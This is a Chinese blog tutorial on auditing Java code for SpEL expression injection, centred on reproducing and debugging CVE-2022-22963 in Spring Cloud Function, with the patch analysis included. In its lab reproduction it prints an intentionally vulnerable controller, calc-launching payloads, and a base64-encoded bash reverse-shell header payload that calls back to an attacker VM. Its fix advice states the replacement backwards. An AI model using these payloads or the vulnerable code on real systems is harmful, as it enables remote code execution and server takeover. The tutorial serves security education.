Java代碼審計之SpEL表達式注入漏洞分析

文章目錄

  • 前言
  • SpEL表達式基礎
    • 基礎用法
    • 安全風險
    • 案例演示
  • CVE-2022-22963
    • 漏洞簡述
    • 環境搭建
    • 反彈shell
  • CVE漏洞調試分析
    • 本地搭建
    • 調試分析
    • 補丁分析
  • 總結

前言

表達式注入是 Java 安全中一類常見的能夠注入命令并形成 RCE 的漏洞,而常見的表達式注入方式有 EL 表達式注入、SpEL 表達式注入和 OGNL 表達式注入等。本文將通過調試分析 CVE-2022-22963 漏洞來入門學習 SpEL 表達式注入漏洞的原理。

SpEL表達式基礎

SPEL(Spring Expression Language),即 Spring 表達式語言,比 JSP 的 EL 更強大的一種表達式語言。特別是方法調用和基本的字符串模板功能。Spring 框架的核心功能之一就是通過依賴注入的方式來管理 Bean 之間的依賴關系,而 SpEl 可以方便快捷的對 ApplicationContext中 的 Bean 進行屬性的裝配和提取。

【Question】上面說了 SpEL 是一種表達式語言,那么什么是表達式語言呢?
表達式/模板:在一些功能中,有一些固定的格式,只有部分變量,這樣的情況下就需要使用模板,模板就是將固定的部分提取出來形成一個固定的模塊,然后經過處理將變量填入其中。

基礎用法

如下是 SpEL 表達式求值的一個簡單案例:

//創建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表達式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//構造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表達式求值
System.out.println(expression.getValue(context));

上述流程分為 4 步:

  1. 創建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默認實現;
  2. 解析表達式:使用 ExpressionParser 的 parseExpression 來解析相應的表達式為 Expression 對象;
  3. 構造上下文:上下文其實就是設置好某些變量的值,執行表達式時根據這些設置好的內容區獲取值;
  4. 表達式求值:通過 Expression 接口的 getValue 方法根據上下文獲得表達式值。

其中,第三步構造上下文并不是必需的步驟,在不配置的情況下具有默認類型的上下文(StandardEvaluationContext),故以下代碼示例與上面代碼等價:

//創建解析器
ExpressionParser parser = new SpelExpressionParser(); 
//傳入并解析需要評估的表達式
Expression expression = parser.parseExpression("'Hello World!'"); 
//執行表達式,然后獲取值
String message = (String) expression.getValue(); 

安全風險

SpeL 表達式語言在 EvaluationContext 上下文類型除了提供默認的 StandardEvaluationContext外,還提供了 SimpleEvaluationContext

【風險】SimpleEvaluationContext 旨在僅支持 SpEL 語言語法的一個子集,不包括 Java 類型引用、構造函數和 bean 引用,而 StandardEvaluationContext 是支持全部 SpEL 語法的,它包含了 SpEL 的所有功能,在允許用戶控制輸入的情況下可以成功造成任意命令執行,因為 SpEL 表達式是可以操作類及其方法的,可以通過類類型表達式 T(Type) 來調用任意類方法,比如以下示例代碼將在 Windows 系統上執行運行計算器的指令:

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

與此同時,由于在不指定 EvaluationContext 的情況下默認采用的是 StandardEvaluationContext,所以默認情況下 SpEL 表達式求值存在代碼注入導致 RCE 的風險。

案例演示

下面通過本地 IDEA 創建存在簡單漏洞示例的 SpringBoot 項目來直觀感受下 SpEL 表達式注入漏洞。

1、由于我使用的是社區版的 IDEA(窮,用不起旗艦版),沒有 Spring Initializer 功能,無法快捷創建 Spring Boot 項目,只能手動去 https://start.spring.io/ 把工程創建好之后下載下來:
在這里插入圖片描述
在這里插入圖片描述
2、下載完是個 demo.zip 壓縮包工程文件,解壓縮后使用 IDEA 社區版 正常 open project 即可,IDEA 會自動下載 pom.xml 配置的依賴包到本地 Maven 倉庫:
在這里插入圖片描述

修改 IDEA Maven 本地倉庫和遠程倉庫配置的話,請參見:Intellij IDEA配置Maven(內置Maven和修改本地倉庫地址和阿里云中央倉庫)。

3、到 application.properties 配置文件修改服務端口為 8081(默認為 8080,與BurpSuite抓包代理沖突了):
在這里插入圖片描述
4、接著手動新增創建一個控制器 MyController 如下:
在這里插入圖片描述

@RestController
public class MyController {// 映射到方法上,最終URL為localhost:8081/spel1,此處通常用 @GetMapping("/spel1") 表明GET請求方式的映射@RequestMapping("/spel1")@ResponseBodypublic String spel(String input){SpelExpressionParser parser = new SpelExpressionParser();Expression expression = parser.parseExpression(input);return expression.getValue().toString();}@RequestMapping("/spel2")@ResponseBodypublic String spel2(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}@RequestMapping("/spel3")@ResponseBodypublic String spel3(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}
}

上述控制器邏輯很簡單,我添加了三個路由:

路由配置是否存在 SpEL 注入漏洞
/spel1不指定 EvaluationContext ,默認是 StandardEvaluationContext
/spel2指定上下文 StandardEvaluationContext
/spel3指定上下文 SimpleEvaluationContext

4、接下來直接運行 SpringBoot 項目,即可在本地 8081 端口成功訪問到 Web 服務:
在這里插入圖片描述
在這里插入圖片描述
5、接下來根據我們配置的路由來驗證漏洞,Payload為:/spelX?input=T(Runtime).getRuntime().exec("calc")
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
從上面簡單而直觀的漏洞示例代碼可以看出,在不指定 EvaluationContext 或者顯示采用 StandardEvaluationContext 作為上下文的時候,如果 SpEL 表達式的值可被外部輸入所控制,則存在因 SpEL 表達式注入導致 RCE 的風險。

CVE-2022-22963

接下來通過復現、調試分析一個 SpEL 表達式注入 CVE 漏洞來進一步學習、理解此類漏洞,此處挑選的是 CVE-2022-22963。

漏洞簡述

如 Vulhub官方文檔所述:Spring Cloud Function 提供了一個通用的模型,用于在各種平臺上部署基于函數的軟件,包括像 Amazon AWS Lambda 這樣的 FaaS(函數即服務,function as a service)平臺。

2022年3月,Spring Cloud 官方修復了一個 Spring Cloud Function 中的 SPEL 表達式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 類的 apply 方法將請求頭中的 “spring.cloud.function.routing-expression” 參數作為 SpEL 表達式進行處理,造成了 SpEL 表達式注入漏洞,攻擊者可利用該漏洞遠程執行任意代碼。

【受影響版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

參考鏈接:

  1. CVE-2022-22963 漏洞描述;
  2. CVE-2022-22963 官方漏洞修復方案;
  3. Spring Cloud Function SPEL表達式注入漏洞分析;

環境搭建

本文使用 Ubuntu 官方虛擬機 + Vulhub CVE 漏洞靶場環境 復現該漏洞。以前的漏洞復現文章已經寫過 Vulhub 靶場的使用步驟:滲透測試-Openssl心臟出血漏洞復現。

整體復述一下,Ubuntu 上安裝 Docker 環境和搭建 Vulhub 靶場的步驟:

1、安裝docker:apt-get install -y docker.io
2、安裝docker-compose:pip install docker-compose
3、啟動docker后臺服務:sudo service docker start
4、將當前用戶加入docker組sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下載速度):https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下載vulhub漏洞目錄:git clone https://github.com/vulhub/vulhub.git
7、進入想要復現的漏洞對應文件夾:cd ~/vulhub/struts2/s2-048/(示例路徑)
8、以root身份執行以下命令開始運行漏洞容器:docker-compose up -d

回顧 Docker 用法請參考歷史博文:滲透測試-Docker容器。

【推薦】提高 Docker 鏡像下載速度請參考:Docker–提高下載速度的方法。

此處順便再簡單總結下 Docker 常用命令:

目的命令
在Docker公用倉庫搜索鏡像docker search bwapp(容器鏡像名)
從Docker公用倉庫拉取鏡像docker pull raesene/bwapp(遠程鏡像路徑)
返回本地Docker容器鏡像信息docker images
將鏡像運行為一個真正在運行的容器docker run -d -p 8080:80 本地容器鏡像名
查看正在運行的容器docker ps
查看所有容器(無論是否正在運行)docker ps -a
查看指定容器的詳細信息docker inspect 容器名或id
進入容器的shell交互模式docker exec -i -t 容器id bash
停止正在運行的容器docker stop 容器id
重啟本地已停止運行的容器docker start 容器id
強制刪除本地容器docker rm -f 容器ID

Ubuntu 虛擬機成功搭建環境如下:
在這里插入圖片描述
物理機訪問 Docker 服務(http://192.168.171.129:8080/):
在這里插入圖片描述

反彈shell

先說下這個漏洞產生的原因:如果在 /functionRouter 的 POST 請求頭中添加一個 spring.cloud.function.routing-expression 參數,Spring Cloud Function 會直接將參數值帶入 SpEL 中查詢導致 SpEL 注入。

那我們直接在 POST 請求中發送反彈 Shell 的命令即可,此處使用同一局域網中的 Kali 虛擬機作為攻擊機(192.168.171.128):

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在線工具 將上述反彈 shell 的命令進行 Base64 編碼(具體原因請參見:Java反彈shell小記):
在這里插入圖片描述
直接發送報文:

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6test

在這里插入圖片描述

【題外話】此處順便補充一個小技巧,BurpSuite 如果顯示字體模糊、分辨率不佳的情況下(比如此圖,傷眼睛啊……),可以在桌面快捷方式右鍵選擇“屬性”,在兼容性中選擇如下配置項后重啟即可解決(效果可參見下文另外的 Burp 截圖):
在這里插入圖片描述
此時 Kali 攻擊機可獲得反彈的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶機的局域網 IP):在這里插入圖片描述
至此,我們已成功復現該漏洞,通過 SpEL 注入實現了 RCE 遠程命令執行。

最后,結束 Ubuntu 虛擬機靶場容器環境的運行:
在這里插入圖片描述

CVE漏洞調試分析

簡單的復現漏洞并不是目的,我們的目的是從歷史 CVE 漏洞中分析根因,并盡可能能夠實現在白盒代碼審計實戰中做到舉一反三。

本地搭建

此處采用本地 IDEA 新建 SpringBoot 項目的方式來搭建漏洞環境,直接沿用前文 “案例演示” 章節中的簡易 SpringBoot 項目。

不想折騰的話可以直接在 Github 獲取來源的漏洞環境項目:Spring-Cloud-Function-Spel。

1、只需要在 pom.xml 中新增引入 spring-boot-starter-webspring-cloud-function-web(存在漏洞的 3.2.2 版本):

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-function-web</artifactId><version>3.2.2</version>
</dependency>

在這里插入圖片描述
2、接著在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter(此配置也可以不配,非必需)
在這里插入圖片描述
3、然后即可到 main 函數啟動 Spring 項目:
在這里插入圖片描述
在這里插入圖片描述

然而發現以下數據包并無法觸發漏洞:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4test

4、最終發現需要修改 pom.xml 配置文件中如下組件版本信息,才能成功觸發漏洞(坑啊……):

   <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.5</version><relativePath/> <!-- lookup parent from repository --></parent>

在這里插入圖片描述
在這里插入圖片描述

調試分析

需要在上述命令執行處下斷點,看下程序執行流程。

SpringCloud Function 之所以能自動將函數建立 http 端點,是因為在包 mvc.FunctionController 中使用 /** 監聽了 GET/POST 類型的所有端點:
在這里插入圖片描述
故我們在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下斷點進行跟蹤,程序會獲取 body 中的參數,并傳入 processRequest 方法中:
在這里插入圖片描述

1、接著 processRequest 函數將判斷當前請求是否為 RoutingFunction,并將請求的內容和 Header 頭編譯成 Message 帶入到 FunctionInvocationWrapper.apply 方法中:
在這里插入圖片描述
2、跟進FunctionInvocationWrapper.apply函數,隨后又進入其中的 doApply 方法:
在這里插入圖片描述
3、跟進 doApply 函數,會執行到如下 else 分支,進入 RoutingFunction 類的 apply 方法:
在這里插入圖片描述
4、繼續 step into 跟進 RoutingFunction 類的 apply 方法,發現將進入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中:
在這里插入圖片描述
5、跟進 route 函數,發現隨后進入的是 else if 分支,由于 exp 請求中的 http 頭spring.cloud.function.routing-expression 不為空,則傳入其值到functionFromExpression 方法:
在這里插入圖片描述
6、step into 跟進 functionFromExpression 方法,發現其使用 SpelExpressionParser 解析了 SpEL 表達式,且調用了 expression.getValue 導致最終觸發 SpEL 表達式注入:
在這里插入圖片描述
在這里插入圖片描述
而此處的 evalContext 又采取了默認的 StandardEvaluationContext(在不指定 EvaluationContext 的情況下默認也采用的是StandardEvaluationContext),而它包含了 SpEL 的所有功能,在允許用戶控制輸入的情況下 SpEL 表達式是可以操作類及其方法的,可以通過類類型表達式 T(Type) 或者直接 new 來調用任意對象的任意方法,成功造成任意命令執行。
在這里插入圖片描述
在這里插入圖片描述

跟蹤到這已經完成整個 SpEL 表達式注入的觸發流程了,后續就不用再跟下去了。至此可以發現,只要通過環境變量、配置文件或者參數等方式配置為 spring.cloud.function.definition=functionRouter, 即可觸發 SpEL 注入。

補丁分析

SpringCloud 官方已經修復了此問題,在 GitHub 上給出了修復 commit:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

和其他 SpEL 注入修復方式一樣,修補代碼核心是在 functionFromExpression 函數中,使用了安全的 SimpleEvaluationContext 替換不安全的 StandardEvaluationContext
在這里插入圖片描述
在這里插入圖片描述
上述代碼增加判斷帶解析的 SpEL 表達式來源是否是 header,如果是 header 就使用屬于 SimpleEvaluationContextheaderEvalContext,不是 header 才會使用屬于 StandardEvaluationContextevalContext

總結

本文重點分析了 CVE-2022-22963,總結來說就是 Spring Cloud Function 相關版本提供的 spring.cloud.function.routing-expression 有解析Spel表達式的能力,而且使用的是默認的 StandardEvaluationContext,導致存在 SpEL 表達式注入。惡意攻擊者無需認證即可通過構造特定的 HTTP 請求頭注入 SpEL 表達式,最終執行任意命令,獲取服務器權限。

漏洞檢測

來小結下對 Java 項目進行代碼審計過程中,挖掘 SpEL 表達式注入漏洞可行的套招。

整體來說,由于此類代碼流程特征為:

parseExpression()----StandardEvaluationContext()----getvalue()

所以可以在代碼中全局搜索 parseExpression 方法,審計其輸入是否外部可控,然后看使用的上下文是否是 StandardEvaluationContext(默認的也是StandardEvaluationContext),最后看是否執行了 getvalue() 等操作方法。如果滿足上面的要求,則說明存在 SPEL 注入漏洞。

漏洞修復

很簡單,使用 StandardEvaluationContext 替換 SimpleEvaluationContext,或者對外部輸入的 SpEL 表達式進行過濾。

本文參考文章:

  1. Java安全學習:表達式注入;
  2. SPEL表達式注入——入門篇;
  3. Java代碼審計之SpEL表達式注入;
  4. Spring Cloud Function Spel表達式注入;
  5. SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213806.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213806.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213806.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

124.(leaflet篇)leaflet禁止地圖移動,縮放,雙擊

地圖之家總目錄(訂閱之前必須詳細了解該博客) 完整代碼工程包下載,運行如有問題,可“私信”博主。效果如下所示: 下面獻上完整代碼,代碼重要位置會做相應解釋 <!DOCTYPE html> <html>

深入探索HTTPS加密技術與新興安全趨勢:保衛隱私的未來之路

在前文中&#xff0c;我們了解了HTTPS加密協議的工作原理和應用場景。然而&#xff0c;隨著技術的不斷發展和網絡安全威脅的不斷演變&#xff0c;HTTPS加密技術也在不斷進化。在本篇博文中&#xff0c;我們將更深入地探討HTTPS加密技術&#xff0c;并介紹一些新興的安全趨勢&am…

css中的 box-sizing: border-box

box-sizing: border-box 是 CSS 中的一個盒子模型屬性&#xff0c;用于指定元素的盒子模型的計算方式。默認的盒子模型是 content-box&#xff0c;而使用 border-box 則表示元素的寬度和高度包括了元素的邊框和內邊距&#xff0c;而不僅僅是內容的寬度和高度。 在默認的 conte…

【Docker】使用docker-compose搭建django+vue工程文章

我們嘗試使用docker-compose編排一個后端基于django,前端基于vue,數據庫為postgresql并使用nginx進行反向代理的web工程。 工程準備 Docker 安裝Docker 安裝docker-compose django 在python3.7的環境下創建 修改settings.py文件 修改 將靜態文件收集路徑添加進 ,筆…

pip指定優先從豆瓣源下載包

對于 Unix/macOS 系統&#xff0c;使用以下命令&#xff1a; pip config set global.index-url https://pypi.douban.com/simple/ 對于 Windows 系統&#xff0c;打開命令提示符或PowerShell&#xff0c;并使用相同的命令&#xff1a; pip config set global.index-url http…

react re-render的解決方案

問題代碼 import {Dispatch, FC, SetStateAction, useState} from reactimport ./App.cssconst Child: FC<{ m: number, setM: Dispatch<SetStateAction<number>> }> (props) > {const {m, setM } propsreturn (<div><button onClick{() &…

阿里java社招一面

1、項目所負責的功能介紹&#xff1b;B用戶對A用戶的用餐評價進行評論以及B用戶對評論進行追評的話怎么設計數據庫結構&#xff1b;菜品好評度排行榜怎么實現的 2、clickhouse為什么快 3、線程池有哪幾種&#xff0c;分別說說定義和優缺點&#xff1b;多線程使用過程中要注意…

XUbuntu22.04之8款免費UML工具(一百九十七)

簡介&#xff1a; CSDN博客專家&#xff0c;專注Android/Linux系統&#xff0c;分享多mic語音方案、音視頻、編解碼等技術&#xff0c;與大家一起成長&#xff01; 優質專欄&#xff1a;Audio工程師進階系列【原創干貨持續更新中……】&#x1f680; 優質專欄&#xff1a;多媒…

前端知識筆記(四)———JQuery 自動刷新頁面但不閃爍的實現方法

在本文中&#xff0c;我們將介紹如何使用jQuery實現自動刷新頁面但不出現閃爍的效果。通常情況下&#xff0c;當我們需要自動刷新頁面時&#xff0c;使用簡單的location.reload()方法即可實現&#xff0c;但這會導致頁面在刷新時出現短暫的白屏或閃爍。為了解決這個問題&#x…

供應鏈管理痛點大解析!內附解決方案

供應鏈是指涉及產品或服務生產、運輸、分銷和最終交付給客戶的過程。 用一個汽車制造的例子來幫助大家理解&#xff1a; 原材料采購&#xff1a; 汽車制造商需要從供應商處采購制造汽車所需的原材料&#xff0c;例如金屬、橡膠、塑料和玻璃。生產制造&#xff1a;獲得原材料&…

UnoCSS 原子化開發初體驗

UnoCSS 是一個即時的原子化 CSS 引擎&#xff0c;旨在靈活和可擴展。核心是不拘一格的&#xff0c;所有的 CSS 工具類都是通過預設提供的。再也不用為了取一個 classname 類名而煩惱了。 一、UnoCSS 特點 完全可定制&#xff1a;無核心工具&#xff0c;所有功能都通過預設提供…

如何公網訪問內網的群暉NAS隨時隨地遠程訪問本地存儲的學習資源

文章目錄 前言本教程解決的問題是&#xff1a;按照本教程方法操作后&#xff0c;達到的效果是前排提醒&#xff1a; 1. 搭建群暉虛擬機1.1 下載黑群暉文件vmvare虛擬機安裝包1.2 安裝VMware虛擬機&#xff1a;1.3 解壓黑群暉虛擬機文件1.4 虛擬機初始化1.5 沒有搜索到黑群暉的解…

成都工業學院Web技術基礎(WEB)實驗六:ECMAScript基礎語法

寫在前面 1、基于2022級計算機大類實驗指導書 2、代碼僅提供參考&#xff0c;前端變化比較大&#xff0c;按照要求&#xff0c;只能做到像&#xff0c;不能做到一模一樣 3、圖片和文字僅為示例&#xff0c;需要自行替換 4、如果代碼不滿足你的要求&#xff0c;請尋求其他的…

TwinCAT3 Modbus-TCP Client/Server使用

目錄 一、環境配置和準備 1、PLC中安裝TF6250-Modbus-TCP庫 2、勾選TF6250的license 3、PLC工程中添加Tc2_ModbusSrv庫文件 4、分別創建測試ModbusTCP測試的Server和Client程序 二、PLC作為Client端 1、設置測試電腦IP地址 2、運行MobusTCP測試工具 3、PLC端程序編寫 …

Hiera實戰:使用Hiera實現圖像分類任務(二)

文章目錄 訓練部分導入項目使用的庫設置隨機因子設置全局參數圖像預處理與增強讀取數據設置Loss設置模型設置優化器和學習率調整策略設置混合精度&#xff0c;DP多卡&#xff0c;EMA定義訓練和驗證函數訓練函數驗證函數調用訓練和驗證方法 運行以及結果查看測試完整的代碼 在上…

可學習超圖拉普拉斯算子代碼

python版本&#xff1a;3.6。sklearn版本&#xff1a;scikit-learn0.19 問題1&#xff1a;ERROR: Could not build wheels for ecos, scs, which is required to install pyproject.toml-based projects| 解決辦法&#xff1a;cvxpy安裝過程中遇到的坑_ecos 2.0.7.post1 cp37 …

大數據技術7:基于StarRocks統一OALP實時數倉

前言&#xff1a; 大家對StarRocks 的了解可能不及 ClickHouse或者是遠不及 ClickHouse 。但是大家可能聽說過 Doris &#xff0c;而 StarRocks 實際上原名叫做 Doris DB &#xff0c;他相當于是一個加強版的也就是一個 Doris ,也就是說 Doris 所有的功能 StarRocks 都是有的&a…

【設計模式--結構型--橋接模式】

設計模式--結構型--橋接模式 橋接&#xff08;Bridge&#xff09;模式定義結構案例好處使用場景 橋接&#xff08;Bridge&#xff09;模式 定義 將抽象與實現分離&#xff0c;使他們可以獨立變化。它是用組合關系代替繼承關系來實現&#xff0c;從而降低了抽象和實現這兩個維…

達夢 DM 數據庫

達夢數據庫 varchar varchar2的區別, 推薦使用 varchar2 -- 日期格式化 SELECT DATE_FORMAT(GETDATE(), %Y-%m-%d %H:%i:%s);-- 2023-12-11 SELECT CURDATE();-- 2023-12-11 09:22:24 SELECT SYSDATE();-- 2023-12-11 11:09:53.136527 SELECT GETDATE();-- 當前日期1 -1天 SEL…

MyEclipse中常用的快捷鍵大全

Eclipse的編輯功能非常強大&#xff0c;掌握了Eclipse快捷鍵功能&#xff0c;能夠大大提高開發效率。Eclipse中有如下一些和編輯相關的快捷鍵。 1. 【ALT/】 此快捷鍵為用戶編輯的好幫手&#xff0c;能為用戶提供內容的輔助&#xff0c;不要為記不全方法和屬性名稱犯愁…